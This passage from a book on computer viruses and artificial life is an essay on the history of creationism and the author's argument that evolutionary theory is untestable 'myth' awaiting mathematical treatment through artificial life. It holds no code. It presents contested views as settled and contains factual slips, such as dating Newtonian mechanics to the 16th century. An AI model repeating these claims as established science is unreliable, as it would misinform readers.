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mainstream scientists who have no love for creationism. And often
their work is highly focused on questions of evolution and chemical
evolution which are—at least superficially—opposed to creation-
ism. Yet designing the physics to do what you want is wonderfully
convenient. In such a system, even the most blatant evolution would
be creationistic in nature, because it is intelligently designed in. The
creationist aspect of it would appear to be an unintended and
unwanted byproduct. But it is no less real than if it were a totally
intentional attempt by philosophically-committed creationists to
work their models out with computers. Just because the models
might involve ideas like evolution makes them no less creationist
in spirit, if the physics is designed to make the models work!

Since the whole question of the design behind the physical laws
of our world is highly philosophical, a good scientist probably
ought to try to avoid making commitments on this matter, at least
as far as his science goes. | don’t think a normal human being can
avoid believing something about such matters. . . but he can be
aware of those beliefs and understand how they can affect his work.

As such I don’t want to simply write off AL because of these
unusual weaknesses. Much of AL is admittedly very tentative. And
at least some people in the field are painfully aware of such
weaknesses. I am only afraid that the creationist tendencies make
it highly questionable whether AL is going to be of much help to
scientists who must be constrained to working with a given, fixed
set of physical laws. Of course AL will appear very helpful to the
more philosophically blind, because, lacking restraint, it can super-
ficially be molded to work with just about any philosophy you like.
Thus, AL could conceivably become more of a philosophical
soap-box than a viable scientific tool.

Narrowing our focus to computer viruses imposes some re-
straint that AL in general appears to be lacking. Using them, we
gain an opportunity to examine the possibilities for life' in a world

1 Modulo our limitations in a computer, of course. As far as evolution goes,
viruses may be imagined to be alive, unless evolution itself is dependent on
some effect of strong emergent behavior (and that would push it outside the
realm of science).



132 Computer Viruses, Artificial Life and Evolution

far different from our own—a world in which we know life can
exist because it does—and yet a world where we have not seriously
explored its possibilities.

In so restraining ourselves, we are verily transformed from
creating gods into real scientists. An inglorious transformation, to
be sure, but I believe an essential one. It is an opportunity to reassess
what we “know” about our own world, rather than simply trying
to confirm it with computer models.



Part 111

The Genesis and
Evolution
of
Life






Introduction

Now I’d like to concentrate on two related but very different
subjects. These are the genesis of life—how it originally came into
being—and the evolution of life—how it changes and develops
from generation to generation. Often these ideas are lumped to-
gether as “evolution” in popular discussions of the subject. For
convenience, | will sometimes lump them together in our discus-
sion. When we get more technical, though, we must discuss these
two aspects of life separately. To lump them is a real distortion of
two different phenomena. !

Up to this point, I have regarded evolution as a secondary
phenomenon for the purposes of our discussion about viruses. That
is an intentional break from the thinking of many Artificial Life
researchers. Some would not even call an automaton alive unless
it could be somehow evolved from a non-living system, and unless
it could evolve into more complex entities. I think such an approach
is putting the cart before the horse.

I would prefer to look at evolution as a theory about life
that—just like every other scientific theory—needs to be tested.
That only seems proper. Life is a fact of our world. Evolution is
only a fact if you are committed to certain philosophies about how

1 Evolution proper requires a genetically-directed self-reproducing automaton.
Only then can you have a gene pool that changes as a function of time. Terms
like “chemical evolution” are a real misuse of the word, and do not have
anything to do with Darwinian evolution.
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the world works. But if evolution is to be a theory about life and
not a dogma, then it must be divoriced from the definition of life.

Now I am not naive to the fact that if one dares to stick his head
up and challenge the idea of evolution, he’s probably going to get
shot at. The philosophical/religious questions that are inextricably
tied to evolution are too hot for many people to handle. Question
the dogmas of the day and you’ll get branded a heretic by some,
and be used as a hero by others.

My position is quite simple: I am a physical scientist who is
used to seeing equations that make predictions, and experiments
that can test the validity of those equations. From this vantage point,
evolutionary biology today appears to be unusually vacuous. 130
years of Darwinism have produced very little in the way of testable
equations or ideas. In fact I would be hard put to call “evolution”
as we know it a scientific theory at all.

However, it would seem that the information revolution which
has come upon us may make it possible to bring evolution into the
fold of real science. I expect that a hundred years from now,
evolution might be considered a branch of pure mathematics. That
mathematics might then be applied to biological organisms or
artificial organisms, much the same way that calculus is applied to
problems of Newtonian dynamics.

Yet, intellectually speaking, we are a very long way from
making evolution into a science. Even those in the AL community
who are in a position to do that seem to prefer to pander to biologists
who are not willing to lay their sacred cow on the altar. The real
problem in making a science out of evolution is that it may not be
nearly so powerful as some people think it is. That would discredit
far more than a few scientists. Yet if we are to make a theory out
of it, we must endanger it. No danger, no theory. If there is no way
to falsify it, it’s not a scientific theory.

In the next several chapters I’d like to discuss why evolution
is lacking as science, some ideas about how to make it better
science, and what computer viruses have to do with all of that.
Surprisingly, viruses do have something to do with all of this
high-minded stuff. I reserve the discussion of why for a few
chapters though. I want to start our tour of the evolutionary biology
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building in the basement, with a discussion of the birth and growth
of the whole idea of evolution itself.



The Creationist’s Fall

Atpresent the idea of evolution has become the basis for a wide
spectrum of scientific research. Evolution has gone far beyond just
a scientific theory about reproductive mechanics. It has become an
all-encompassing paradigm to understand our world. Thus, one
may respectably speak of “molecular evolution” or “social evolu-
tion.” One may respectably use evolution as a foundation for
anything from psychology to economics.

Yet only two centuries ago such an idea was unheard of. The
fundamental principle behind everything’s existence was intelli-
gent creation. To suggest anything different verged on insanity.

The very swift change from creation to evolution is as radical
and far-reaching as perhaps any event in history. For all intents and
purposes the idea of creation collapsed within twenty five years
after Darwin published The Origin of the Species.!> That is, it lost
all respectability among the scientific establishment. The hold-outs
came to be seen as little more than yahoos by respectable scien-
tists—fundamentalists who really cared nothing for science.

It is important to understand the roots of the collapse of
creationism. In this history we can see how philosophy played a

1 Charles Darwin, On the Origin of the Species by Means of Natural Selection,
or the Preservation of Favoured Races in the Struggle for Life (Murray,
London:1859). Note that the second half of Darwin’s title was quietly dropped
by about 1950 due to its racist overtones!

2 Michael Ruse, The Darwinian Revolution (University of Chicago Press,
Chicago: 1979) pp. 234 ff.
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crucial role. And in examining the fall of creation, we will be better
prepared to look at evolution like scientists, and less like religious
devotees.

Before discussing the history of creationism, I want to draw a
line between modern creationists and old creationists. Once Dar-
winism became established and accepted, those who refused to
accept it, mostly on religious grounds, became rather desperate. In
1871 St. George Mivart anchored an attack on Darwin, The Genesis
of the Species.® This was perhaps the last attack that was taken
seriously at all. Certainly by 1913, when George McCready Price
wrote The Fundamentals of Geology*—which might be called the
first modern creationist work—such a book could receive little but
scorn from the scientific community. Somewhere in there a transi-
tion took place. The old creationists were innocent. They really
believed in creation and found it hard to imagine that anything else
could be true. Modern creationists don’t fit that mold. Most have,
like it or not, been raised in a world steeped in evolution. They are
rebels, and their creationism—for better or worse—is a revolt
against main-stream science. I want to talk about the o/d creation-
ists here.

Let’s go back and look at why the “theory of creation” col-
lapsed. I use quotes here because the idea of creation was never
formulated as a proper scientific theory, yet in discussing it in terms
of science, we want to look at it as if it were one. In retrospect, the
conflict seemed virtually inevitable. Over a thousand year period
of time, western culture had embraced Christianity, and Christian-
ity undergirded western man’s scientific understanding of his uni-
verse.” Now that doesn’t mean carefully reasoned Christian
theology was the basis for his thinking. In many areas it only meant
that traditions and myths which had perhaps nothing to do with
Christianity per se had been woven into the fabric of religion and

3 St. George Mivart, The Genesis of the Species (MacMillan, London: 1871).

4 George McCready Price, The Fundamentals of Geology (Pacific Press
Publishing Assn., Mountain View, CA:1913).

5 See, for example, Alfred North Whitehead, Science and the Modern World,
Lowell Lectures, 1925 (MacMillan, New York:1926) p. 18.
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made part of a cosmic world view. Geocentricity is a classic
example. The idea was really made holy by Aristotle, but it had
been incorporated into the Christian cosmic world-view so that
when Galileo challenged it, he was arrested as a heretic who was
teaching against scripture.

Creation is a different matter though. It is the first thing in the
Bible, and really foundational to orthodox Christian theology. Of
course, those first chapters of the Bible are open to interpretation.
The uniformly accepted interpretation a couple centuries ago in-
volved a curious and very naive mixture of greek philosophy and
special fixes. The universe was commonly viewed as Euclidean. It
was flat, infinite in extent, and essentially unchanging. An un-
changing universe, of course, appeared to be without beginning or
end. To fit this universe into the faith, it was supposed that God
either popped it—or the matter in it—into existence at some point
in the past. The accepted time frame of this miracle was some 6000
years ago, as determined by the genealogies in the Bible.

In the 16th century, when Newtonian mechanics was formu-
lated and put to work, science began to succeed at describing
phenomena in our world so well that the idea of a God working
personally and miraculously in the world began to give way to a
God who worked primarily through natural law. By and by, the
miraculous was edged out further and further from the realm of
day-to-day experience. Newton invoked God to explain planetary
orbits that varied from his expectations,6 and he had no qualms
about suggesting living organisms may not fall entirely under his
laws of mechanics.” Yet, by the 19th century, Laplace could claim
he had “no need of that hypothesis”,® and biology had become a
thriving science that was integrated with other scientific disci-

6 David Kubrin, “Newton and the Cyclical Cosmos”, Journal of the History of
Ideas, 28 (1967) pp. 325-346.

7 William Stuckeley, Memoirs of Sir Isaac Newton’s Life (Taylor and Frances,
London:1936) p. 71.

8 Roger Hahn, “Laplace and the Vanishing Role of God in the Physical
Universe”, The Analytic Spirit, (Cornell University Press, Ithaca, NY:1981),
pp- 85-95.
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plines. Certainly, by the mid 19th century, most scientifically-
minded people saw the world as governed by natural law. Miracles
were at best an occasional deviation from that background of law
and order. At worst, they had become myths—the baggage of the
past.

All the seeds for a conflict had been planted before the first
salvos were fired. The present world was understood in terms of
natural law, and not the direct action of God. The past was under-
stood in terms of an eternal, static universe, except for a blinding
miracle that cut straight across all thinking in terms of natural law.
In retrospect, that miracle seemed curiously out of place set against
day-to-day experience, as well as the general understanding of the
very nature of the universe itself. The whole “theory of creation”
had been put into a very small box, just about the right size for an
intelligent man to step on.

As such, creation’s fate was sealed on philosophical grounds.
There was something fundamentally inconsistent in the whole
picture. Creation invoked the supernatural, but it was not really
even philosophically consistent with a supernaturalist world view
because that miracle was seen as a unique exception in a world of
law. Intellectually speaking, the step from a universe as imagined
by the old creationists, to a purely natural universe without that
curious miracle was a small step. Of course it was an earthquake a
thousand years in the making, theologically speaking.

The battle itself was a classic fight over two paradigms as
described by Thomas Kuhn.” One group fought to preserve the old
paradigm, and the other strove to establish the new paradigm. The
old paradigm contained some philosophical inconsistencies, and it
seemed to be at variance with the fossil record. The new paradigm
was made to order. It fit the fossil record, and it was philosophically
consistent.

The first real salvo was fired when Charles Lyell proposed the
idea of uniformitarian geology in his book, The Principles of

9 Thomas Kuhn, The Structure of Scientific Revolutions, 2nd edition (University
of Chicago Press, Chicago:1970).
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Geology,'? first published in 1833. Up to that time, geological
formations were largely interpreted in terms of catastrophes, the
Noahic flood being the most important. Lyell’s ideas formed the
basis for a new paradigm which brought geology into the realm of
day-to-day natural cause and effect. This precipitated a long battle,
and geologists were divided into uniformitarians and catastro-
phists.

Lyell’s ideas fit well within the general framework of a natu-
ralistic understanding of the universe. And though they touch on
life via the fossil record, they still left a big question: How did life
get here? Spontaneous generation was (off and on) accepted as an
answer for the more primitive forms of life up until the mid-
1930’s.!" Yet what might have produced microbes and maggots
could not explain the incredible variety of life on earth. Only
creation was reasonable. Then Darwin proposed a possible answer
which required only natural, sensible laws, instead of a miracle.
The acceptance of his work was immediate. It provided the missing
link for the new paradigm.

Yet this new paradigm was little more than a speculative
hypothesis in the mid-19th century. Perhaps its strongest support
was in the progressive nature of the fossil record. If Lyell’s geology
was correct, then the fossils were not a record of a great flood, but
of a very long history of life on earth. And when interpreted in that
light, one found a general progression from simple to complex
life-forms. Evolution made sense in that light. Yet there was more
to Darwin than the fossil record. Some 15 years before Darwin,
Robert Chambers anonymously published a popular little book
entitled Vestiges of the Natural History of Creation.'*> This book
was filled with wild speculation about the evolution of life. And it
was universally condemned by everybody, biologists, geologists,
and theologians alike. What made Darwin different?

10 Charles Lyell, The Principles of Geology (John Murray, London:1833).

11 John Farley, The Spontaneous Generation Controversy from Descartes to
Oparin (Johns Hopkins University Press, Baltimore:1977).

12 Robert Chambers, Vestiges of the Natural History of Creation (Churchill,
London: 1844).
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For one thing, Darwin reasoned his ideas out brilliantly. He
explained evolution in terms of selection, similar to the selection
employed in animal breeding. He looked into the fossil record. He
looked into life at present. However, the real evidence was incred-
ibly scant. Our knowledge of the microscopic mechanics of life and
reproduction was practically non-existent at the time. Genetics was
unknown. Our knowledge of the fossil record was quite limited.
We didn’t even know about radioactivity, much less radiometric
dating. Some people still believed in spontaneous generation!

In a way I see Darwin’s evolution a lot like general relativity.
General relativity was Einstein’s synthesis of (1) Maxwell’s equa-
tions for electrodynamics, which had been finalized in the second
half of the 19th century, and (2) of Newtonian gravitation, which
was an archaic and antiquated theory which no longer fit in with
the field-theoretic view of the world. General relativity was a
tremendous intellectual synthesis. However, once formulated,
there was little evidence for it, and it proved to be rather difficult
to test. Yet to the physicist, it was logically and philosophically
sound. It was entirely self-consistent. And it made some testable
predictions. So despite its rather wild ramifications and flimsy
experimental basis, most scientists accepted it and worked to test
it and figure out the details. Darwin’s concept of evolution was, in
the same way, a great synthesis. It was intellectually sound and
philosophically self-consistent. And one could make some predic-
tions with it. So scientists accepted evolution despite the truly
radical ramifications, and they worked to test and verify it.

And the old creationists died out.



Evolution, Myth and
Mathematics

The old idea of a supernatural creation has lost credibility
among scientists. However I don’t think we should be too quick to
put evolution and abiogenesis (the chemical beginning of life) on
the throne which creation once occupied, even if that is the popular
thing to do right now.

A Limited Science

As long as I am wearing my scientist’s hat, I must recognize
the limits of science—and it would appear that evolution is one area
where we can easily push the limits of science unaware that we are
doing so. Ultimately, questions about past events—Ilike the begin-
ning of life on earth—are not proper scientific questions. Science
can never tell us whether life actually began as the result of a natural
chemical process or a divine miracle. It can never tell us that species
A evolved from species B.

What science should be able to tell us is how likely it is that the
natural laws of this universe could have worked to produce life, or
a certain species. And often, science done properly can mitigate not
the fact of, but the need for supernatural intervention.

This point may seem like a subtle detail hardly worth mention-
ing. Yet it can prove to be a serious trap for the well-meaning
scientist to fall into. People on both sides of the modern crea-
tion/evolution debate have done just that very frequently. For
example, if you radiometrically date a rock at 200 million years



146 Computer Viruses, Artificial Life and Evolution

old, a creationist who prefers a 6000 year old earth can always
question your date. You could not possibly know the original
contents of the rock, and any assumptions you make about those
contents are just that—assumptions. Guess what: the creationist is
right. Likewise, a materialist, when confronted with some of the
statistical difficulties of abiogenesis can always fall back on the
most unlikely chance event. A probability, no matter how small, is
not zero. He, too is right. Yet in both these instances, there is a point
where science stops, and philosophy takes up. Sometimes answers
to questions like these depend more on your philosophical founda-
tion than on science. The honest scientist must beware, and take off
his scientist’s hat when treading on such shaky ground. Unfortu-
nately many—and especially the most vocal—do not.

As a scientist looking at the beginning and development of life
on earth, I want to try to find out how likely it is that natural law
could cause what is observed in the fossil record and in today’s
world. To the extent that natural law is capable of explaining that,
I can safely dispense with miracles. However, at the points where
events seem unlikely, I must find some new law to explain what I
see—if there is such a law—or I must say that for now I can do no
more, and leave the philosophers and theologians to their work.

This humble attitude is rare in science today, especially in the
more popular expressions of it. Self-limitation is viewed as weak-
ness by confident experts, as they boldly assert that science is the
key to all knowledge. For example, Carl Sagan, in his book Cosmos
starts out by making the bold statement “THE COSMOS IS ALL
THAT IS OR EVER WAS OR EVER WILL BE.”! (Author’s
capitals.) Sagan says he has always wondered about life elsewhere
in the universe.? Such musings and searchings are noble. But with
such a strong philosophical start, you can hardly expect his treatise
to give you a straight look at what science can tell us about the
universe or life in it.

1 Carl Sagan, Cosmos (Random House, New York:1980) p. 4.
2 Ibid., p.24.
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Properly understood, though, there is no shame in a limited
science. For example, that’s right where real science stands with
the big bang. You can’t use general relativity to calculate back past
the initial singularity. And you can’t explain certain aspects of the
big bang, like why it had such low entropy—a state that appears
phenomenally unlikely.> Some scientists think quantum gravity
will help answer that. Maybe it will. Maybe it won’t. But in the
meantime, speculation about what caused the bang or how it got
started is outside the realm of science. And people are free to
speculate. A strong anthropic principle at work? God? Science by
itself cannot answer these questions. Of course, men like Sagan
don’t hesitate to answer them, insinuating infinite hierarchies of
universes with tunnels between them, entropy reversal, and all
kinds of other weird ideas in the name of science!*

I urge caution because in the past thirty years, both evolution
and abiogenesis have suffered some devastating criticism. I’m not
talking about creationists here either. These criticisms are rooted
in pure mathematics and are largely a consequence of biology
coming into the information age. Although most of this criticism
hasn’t been well received by mainstream evolutionary biologists—
and certainly it won’t be taught in the schools—I think it is very
valid and very relevant.

Analytic Science in the Information Age

You have to understand that analytical science—where you
write equations down and try to solve them exactly—is really very
limited. It may be able to predict the motion of a falling ball in a
vacuum fairly accurately, but most real-world phenomena are
completely beyond its grasp. For example, it would be ridiculous
to model a tree analytically, much less to exactly solve its equations
of motion on a windy day. Now, in my lifetime I’ve never known
anyone who doubted that the analytic equations of motion for that

3 Roger Penrose, The Emperor’s New Mind (Oxford University Press, New
York:1990) p. 344.
4 Op. Cit., Sagan, p. 260, 265, 267.
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tree would give the right answer if they could be solved exactly.
Certainly I do not doubt it. Yet I must admit that those equations
are pretty worthless—as far as solving this problem goes—without
a computer.

Computers have become important tools in solving scientific
problems in the past 30 years. And they have helped both to show
up faults in some analytic theories and to formulate theories where
none have existed. Yet, more than that, computers have been able
to help us better understand nature in realms where it doesn’t even
make a lot of sense to try to write down an analytic equation of
motion.

As we discussed earlier, the idea that the laws of nature are in
some sense simple is essential to science. Once the laws become
so complex that the human mind cannot understand them, they are
essentially worthless. For example, a bright student can spend a
semester and learn to conceptually understand Maxwell’s equa-
tions—a set of 12 coupled partial differential equations which
describe electromagnetism. But what happens when you have
5,000 coupled equations? Few people could write them down
correctly in one try, and no one can solve them analytically, much
less gain any significant understanding from them. However it
might be possible to forget about the equations altogether and come
up with a few simple algorithms to describe the system under
consideration, and then model it on a computer. In this way,
computers are changing our very idea of what “simple” means in
nature, and opening up whole new realms of study.

Mythological Evolution

Now let’s come back to evolution. I mentioned in the last
chapter that when Darwin advanced evolution, his idea was
founded on precious little evidence, and that it appeared to have
won out over creationism on the basis of its philosophical consis-
tency, more than anything. At the risk of sounding redundant, I’1l
say it again: In 1859, scientists were almost completely ignorant of
the microscopic workings of living organisms.

Reading most popular accounts of evolution, one might believe
that the history of evolution from 1859 to the present has been one
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of victory after victory, where understanding added to under-
standing has made evolution one of the most extraordinary victories
for science ever. Unfortunately such accounts are usually a gloss.
Though there have been significant victories, the path is not all so
cut and dried. A recent book, Darwin on Trial, by Phillip Johnson,
contends that evolutionary science has become “the search for
confirming evidence, and the explaining away of negative evi-
dence”” rather than a critical attempt to confirm or falsify a
scientific theory. He flatly concludes that evolution is pseudo-sci-
ence, and “not just a theory of biology, but the most important
element in a religion of scientific naturalism, with its own ethical
agenda and plan for salvation through social and genetic engineer-
ing.”¢

These are serious charges. Now Johnson is an admitted Chris-
tian with perhaps some sympathies toward the idea of divine
creation. That would tend to automatically discredit him among
scientists, yet his arguments are not to be dismissed lightly. He
surveys all of the supporting evidence, from the fossil record to
molecular biology, and evolution comes up wanting. Now I don’t
agree with everything Johnson says, and I am not going to dig into
this evidence in much detail here, except as it pertains directly to
our discussion in the appropriate places. You can—and should—
get Johnson’s book and read it (as well as his critics’) to understand
what [ say in a broader context. What I would like to do right now
is try to get at why evolution is seen by so many as an answer to a
multitude of phenomena, and yet as practically vacuous by others.
Why is it that Julian Huxley can say

5 Phillip Johnson, Darwin on Trial (Regnery Gateway, Washington DC:1991)
p-150.

6 Ibid., p. 150.

7 See Steven Jay Gould, “Impeaching a Self-Appointed Judge” Scientific
American, July, 1992 p. 118. For Johnson’s reply, see Phillip Johnson,
“Response to Gould” Origins Research, Spring 1993, p. 10 (avaiable from
ARN, PO Box 38069, Colorado Springs, CO 80937). Also you might want to
look through Perspectives on Science and the Christian Faith, 1992 and 1993,
as Johnson got some fire there.
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“This is one of the first public occasions on which it has been
frankly faced that all aspects of reality are subject to evolution, from
atoms and stars to fish and flowers, from fish and flowers to human
societies and values—indeed, all reality is a single process of evo-
lution.”®

Why can Richard Dawkins write

“Itis absolutely safe to say that, if you meet somebody who claims
not to believe in evolution, that person is ignorant, stupid or insane
(or wicked, but I’d rather not consider that).”9

And yet Colin Patterson, a senior paleontologist at the British
Natural History Museum can stand up and say

“Can you tell me anything you know about evolution, any one
thing . . . thatis true? I tried that question on the geology staff at the
Field Museum of Natural History and the only answer I got was
silence. I tried it on the members of the Evolutionary Morphology
seminar in the University of Chicago, a very prestigious body of
evolutionists, and all I got there was silence for a long time and
eventually one person said ‘I do know one thing—it ought not to be
taught in high school.””?1°

Is somebody insane, or are there reasons for such strong and
contradictory comments?

I think a big part of the problem is that traditional evolution is
essentially beyond the reach of analytical science. Let’s suppose
for a moment that someone from the physical sciences who had
never before heard of evolution was given the task of suggesting
some experiments to test evolution. He might very well ask what
evolution could predict concerning the transformation of one spe-

8 Sir Julian Huxley, “The Evolutionary Vision” in Sol Tax, Ed., Evolution after
Darwin, (University of Chicago press, Chicago:1960) Vol. 3, p. 249.

9 Op. Cit., Johnson, p. 9.

10 Op. Cit., Johnson, p. 10 cites this passage as something that was not published,
however Patterson says about the same thing in Tom Bethell, “ Deducing from
Materialism,” National Review, August 29, 1986, pp. 43, 44.
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cies into another. Unfortunately the dark side of traditional evolu-
tion is only too able to “predict” just about anything you like. No
doubt you’ve seen “survival of the fittest” arguments to explain
how different animals evolved, be it birds from reptiles, mammals
from reptiles, amphibians from fish, or what have you. Let’s try an
imaginary one on for size:

Proposition #1: Some hamsters evolved into mice.

Explanation: Hamsters are slow moving creatures that are easily caught
by predators. In some areas, where predators were plenty, smaller, faster
hamsters survived better than the large, slow ones. Of the fastest ones,
long tails proved to be helpful for balance when running fast to evade prey.
The fast, small, long-tailed animals became what we know as mice.

Now let’s turn it around:
Proposition #2: Some mice evolved into hamsters.

Explanation: In areas where food was scarce, a larger animal with a slow
metabolism, and with the ability to store lots of food in its mouth quickly,
survived better than the small animals which could eat only a bite at a time.
The larger ones would gobble up enough food for a whole day in the same
time that smaller ones could only get a couple mouthfuls. A slower
metabolism proved helpful to the large animals in surviving through
periods when they could not find food. For slower moving animals, a
short, stubby tail proved beneficial because it made them harder for
predators to catch. The large animal became what we know as a hamster.

Obviously we aren’t talking science here. This idea of evolution is
not falsifiable in any sense of the word. Give me any two species
and I can construct an argument to explain why one evolved into
the other, or vice versa.

No doubt our very traditional and very conservative physical
scientist would come away from all of this rhetoric very unhappy.
What he would probably like to see is a concrete set of numbers.
For example,
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P(Mouse — Hamster) = 0.78
P(Hamster — Mouse) = 3.2 x 10

where P(A — B) is the probability of A evolving into B for a given
environment, time period, etc. The evolutionary biologist would
probably cry “foul” if pressed on such a question, and explain why
it is ridiculous to try to answer it.

And itisridiculous—at least from the perspective of traditional
atomistic, analytical science. Even the simplest evolutionary sce-
narios involve the complex molecular dynamics of a living cell, so
you are talking about a huge number of equations as soon as you
think of writing some down. We might take a number like 10°
equations as an absolute minimum—one for every base in the
organism’s DNA. (And it would probably be more reasonable to
argue for something like 10'° or s0.) Obviously, if we could even
write these equations down, we’d be hard put to gain much under-
standing from them. Certainly the thought that we could learn
anything about evolution from such an approach seems ill-con-
ceived.

But that means most of our ideas about evolution are beyond
the reach of analytical science!

I think this simple fact alone can explain the strange paradox
of evolution—that it seems to explain everything and yet it explains
very little. No one really hopes to make bona fide predictions on
the basis of mathematical models. In Darwin’s day the thought of
an atomistic mathematical model was absurd, since no one knew
anything about the microscopic working of living organisms. And
that was a problem for a hundred years. Today, the mathematical
model looks very impractical, although there is enough of a theo-
retical basis to at least conceive of it. | have to question whether
trying to do real science in that kind of an environment can lead to
anything but hand-waving obfuscations and story telling. Evolution
at this level is nothing more than an acceptable myth. Believing in
it is somewhat like believing classical mechanics will work for a
tree, except you don’t even really know what the equations of
mechanics are let alone how to apply them. You just have a
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miscellaneous collection of observations—like Galileo’s Leaning
Tower of Pisa experiment.

Mathematical Evolution

Now, Phillip Johnson argued that to try to save evolution until
a better theory comes along is like telling someone accused of a
crime, who has an alibi, that he is guilty unless he can come up with
a better suspect.!! Whether they ring true or not, such objections
won’t get very far with scientists. Scientific theories tend to take
on certain characteristics of dogmas—and that is part of how
science works (or should I say, how people work?)—so they cannot
be easily rejected like suspects in a criminal case. However I do not
believe it is unreasonable to ask for a real theory of evolution
founded in science and mathematics. Today, we don’t even have a
theory.?

However, I think with the advent of AL, all the elements are in
place to begin formulating a theory.

First, we must understand the distinction between the fact of
evolution and the theory of evolution. The fact of evolution, simply
stated, is that in a self-replicating system in which mutations can
occur and mutations can be passed on from parents to children, the
genetic makeup of the population can vary from generation to
generation and the variation can be influenced by external factors.
That is an easily observable scientific fact.'* Note that we’ve left
out any mention of survival-of-the-fittest because fitness is always
defined in terms of survival. Therefore survival-of-the-fittest is a
tautology.'* What we do know is that the population will change,

11 Op. Cit., Johnson, p. 8.

12 Karl Popper, Conjectures and Refutations, 2nd Ed. (Basic Books, New
York:1965) p. 340.

13 The most well known example is the light and dark forms of the peppered moth.
See H.B.D. Ketterwell, “Darwin’s Missing Evidence,” Leo F. Laporte, Ed.,
Evolution and the Fossil Record (W.H. Freeman, San Fransisco:1977) pp.
28-33. Also see the discussion later in this book.

14 Op. Cit., Johnson, pp. 20-23, 159, 160.
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and that environmental factors can influence the direction of that
change.

The best anyone can do at a theory of evolution right now is
Darwin’s hypothesis—i.e. “the fact of evolution is capable of
accounting for all the variety of life on earth.” Yet this is a theory
only in the sense of a mere conjecture or guess. There is simply no
theory in the sense of a systematic, testable explanation of how the
fact of evolution works in nature to cause change. Of course, the
tacit, unspoken assumption behind Darwin’s hypothesis, and much
of modern evolutionary biology, is that evolution is omnipotent—it
can accomplish anything you like. Therefore no mathematical
quantification is necessary or possible.

In a way, I find it surprising that biologists haven’t clamored
more for a theory, or even a test of Darwin’s hypothesis. It has been
almost uniformly accepted ever since Darwin proposed it. Yet, |
am not too surprised. If you are a materialist, it is very easy to
elevate the fact of evolution to the point of being proof enough of
Darwin’s hypothesis, and the theory must logically be “evolution
is able to do anything”. That is because the fact of evolution is the
only natural mechanism available, as it encompasses any and every
possible mechanism for mutation short of divine intervention. Only
once one steps beyond the innocence—or naivety—of blind devo-
tion to such philosophy does the need for a more stringent test
present itself.

And only in the past 40 years have we even had a clue as to
how to make a test of whether the fact of evolution can reasonably
explain Darwin’s hypothesis. Watson and Crick decoded DNA in
1953, bringing evolutionary biology into the information age.'> We
can only put evolution in perspective once we understand that
genetics involves information, and we have a feel for how much
information is involved, and how it is encoded.

The essential questions of evolution can be understood by
looking at the diagram in Figure 17.1. Each question that we are
interested in is represented by an arrow. For example,

15J. D. Watson and F. H. Crick, Nature, 171 (1953) p. 137.
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Fig. 17.1: The essential questions of evolution.

1. What are the mutation mechanisms and how do they affect the
genotype? We would like to know how changes take place, and
what the rates of change are.

2. How does the genotype affect the phenotype, and vice versa?
Obviously the genotype of an individual is fixed, but the genetic
makeup of a population is affected by the phenotypes competing
with one another.

3. How does the phenotype interact with the environment? How
does the environment affect the viability of the phenotype?

If we could understand all of these relationships rigorously, then
we might be able to formulate a theory that could make a fair
judgement about Darwin’s hypothesis. For carbon-based organ-
isms, though, we’ve only scratched the surface of understanding.

Any kind of real calculation for P(A — B) is completely out of
reach. It is far too complex for anything but the simplest real-world
scenario. So it would appear that—even though we can imagine
such a test—the theory of evolution cannot be formulated with such
exactness—at least not for now. If living organisms are strongly
emergent, then maybe they can never be so analyzed—in principle.
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So we arrive at a dilemma. We would like to test the theory of
evolution according to some rigorous scientific standards, but the
horrible complexity of the problem bars the way.

That does not mean our understanding of evolution must al-
ways remain nebulous. Artificial life is the perfect solution to this
dilemma. That is because the fact of evolution will operate in any
self-reproducing system. That is merely the result of the definitions
of the fact of evolution and self-reproduction. A system doesn’t
need to be a biological organism, and it doesn’t need to be strongly
emergent for evolution to take place. As long as the system is
sufficiently complex to permit mutations to occur, and so long as
those mutations can be passed on from parents to children, the fact
of evolution will be present to some degree. Since artificial systems
are normally much easier than natural systems to analyze, it might
just be possible to bridge the gap between the fact of evolution and
the theory of evolution with them.

With an artificial organism we could conceivably analyze
every possible mutation for viability, one by one. Then we could
numerically solve some set of population equations, and make a

real, mathematical determination of P(A — B) for some scenario.
Easier still, we may be able to simulate what would happen in a
computer and look at the results without having to deal with lots of
messy equations.

In pursuing this approach to evolution, we are distilling out its
difficulties and bringing it into the fold of pure mathematics and
information theory. In a way, you can imagine such a program as
the modern equivalent of bringing classical mechanics into the
realm of mathematics via calculus and Newton’s laws. That is a big
step. But it is absolutely essential if the theory of evolution is to be
anything more concrete than the scientific myth of the 20th cen-
tury—something like the bizarre arts of alchemy or mesmerism of
centuries past.

If we suppose that in ten years a real and useful theory of
evolution could be formulated, then it might be possible to apply
those ideas to the real world and make a scientific judgement as to
whether Darwin’s hypothesis is true. Certainly if a mathematical
theory of evolution told us that the Darwin’s hypothesis was highly
improbable, then it would, for all intents and purposes, be falsified.



Evolution, Myth and Mathematics 157

The committed evolutionist could always come back with the
thought that no matter how improbable, it is still possible. The
honest scientist would have to stop and simply say he doesn’t know
the answer—at least as a scientist—but that he’1l work at it. Without
at least this possibility, we’re not dealing with science. So making
the possibility possible should be a step in the right direction.

From my experience as a scientist, I would guess that this
approach to evolution is going to raise a lot more questions than it
will answer at first. That’s because we’re starting from a “theory”
that is no theory in a rigorous scientific sense. This “theory” is
practically omnipotent at making explanations for how things are,
and utterly incapable of telling us how they will be. That would not
be the case with a theory that is rooted in solid mathematics and
established scientific principles. Such a theory is bound to bring an
accountability to the field that will tear down a lot of unfounded
explanations of various phenomena and leave them unexplained.
This may be disturbing for the scientist who thought such matters
had already been settled. It may even open the door to religious and
philosophical speculation in certain areas. Y et that is what we ought
to expect from a limited science. Science has limits in other areas,
like the big bang or quantum mechanics, and it is clear that it can
peacefully coexist with the philosophers and theologians. The
trouble begins where the line between science and philosophy is
ill-defined. Then philosophers and theologians will cross the line
in one direction, and scientists will go beyond their limits in the
other direction. The good scientist and the good theologian would
both prefer to have that line be very clear and obvious. That way
they avoid mistakes and avoid wasting their time. I expect a
mathematical model of evolution could go a long way toward
making the line between evolutionary science and evolutionary
philosophy crystal clear, just like Newton clarified some of these
lines in the heavens.

I donot stand alone in what I say. It seems to me that the science
of biology is heading in this direction, and it has been for the past
thirty years or so. Questioning the foundations of evolutionary
thought is no longer totally taboo—so long as it is done properly.
AL would seem like the ideal medium to study the mathematics of
evolution in. Unfortunately it is happening in a lop-sided fashion.
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Much of AL’s focus seems to be on building models which support
evolution to the widest possible extent, rather than accurately
modeling life, or trying to build a broad-based theory of evolution-
ary mathematics. Such an approach is a big blunder.



The Creator and the
Created

